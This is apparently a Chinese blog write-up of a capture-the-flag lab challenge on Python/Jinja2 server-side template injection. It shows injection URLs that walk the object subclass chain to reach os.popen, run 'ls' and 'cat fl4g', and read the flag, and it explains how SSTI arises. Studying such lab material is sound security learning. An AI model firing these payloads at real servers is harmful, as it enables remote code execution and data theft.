攻防世界web第十题Web_python_template_injection

这是题目,从题目上看是一个python模板注入类型的题目。

首先测试是否存在模板注入漏洞,构造http://61.147.171.105:57423/{{config}}

得到

说明存在模板注入漏洞,继续注入

构造http://61.147.171.105:57423/{{''.class .mro }}:

得到

再构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()}}:

编写脚本找到类索引,

python 复制代码
text = "<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>"
 
new_text = text.split(",")
index = 0
for i in new_text:
    index += 1
print(index - 1)  #数组索引从0开始

运行得到索引值为71,

再构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()[71].init .globals ['os'].popen('ls').read()}}

得到

最后构造http://61.147.171.105:57423/{{''.class .mro [2].subclasses ()[71].init .globals ['os'].popen('cat fl4g').read()}}

得到flag

总结:本质上就是通过模板注入代码获取所需信息。

知识点:

1.SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。

SSTI漏洞利用基本流程

获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令.

SSTI漏洞原理

服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞.

实际上就是我们传到后台的数据会被后台获取数据并执行。本质上是后台代码解析前端传过来的数据的时候没有进行处理导致我们用{{}}传进来的恶意命令被动态渲染,从而产生了这样的问题。

class #返回type类型,查看对象的类型
bases #返回tuple类型,列出该类的基类
mro #返回tuple类型,给出解析方法调用的顺序
subclasses () #返回内建方法builtin_function_or_method,获取一个类的子类
globals #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,
init 类的初始化方法

popen函数是用来执行系统命令的

相关推荐
算法工程师y23 分钟前
MATLAB直方图全解析
开发语言·matlab·信息可视化
没有晚不了安26 分钟前
第三周日志-周末看书(3)
python
像牛奶却不是牛奶27 分钟前
css模拟雷达扫描动画
前端·css
喵~来学编程啦28 分钟前
【Python入门】一篇掌握Python中的字典(创建、访问、修改、字典方法)【详细版】
开发语言·python
烂蜻蜓1 小时前
HTML 列表:构建清晰结构的网页内容
java·前端·html
患得患失9491 小时前
【后端】【django drf】Django DRF API 编写规范(程序设计规则)
python·django·sqlite
木木黄木木1 小时前
Html5星空流星页面经验总结
前端·html·html5
南枝异客1 小时前
HTML&CSS绘制三角形
开发语言·前端·css·html
非凡网站2 小时前
网页制作代码html制作一个网页模板
前端·javascript·html
longerxin20202 小时前
使用curl随机间隔访问URL-使用curl每秒访问一次URL-nginx
c语言·开发语言·bash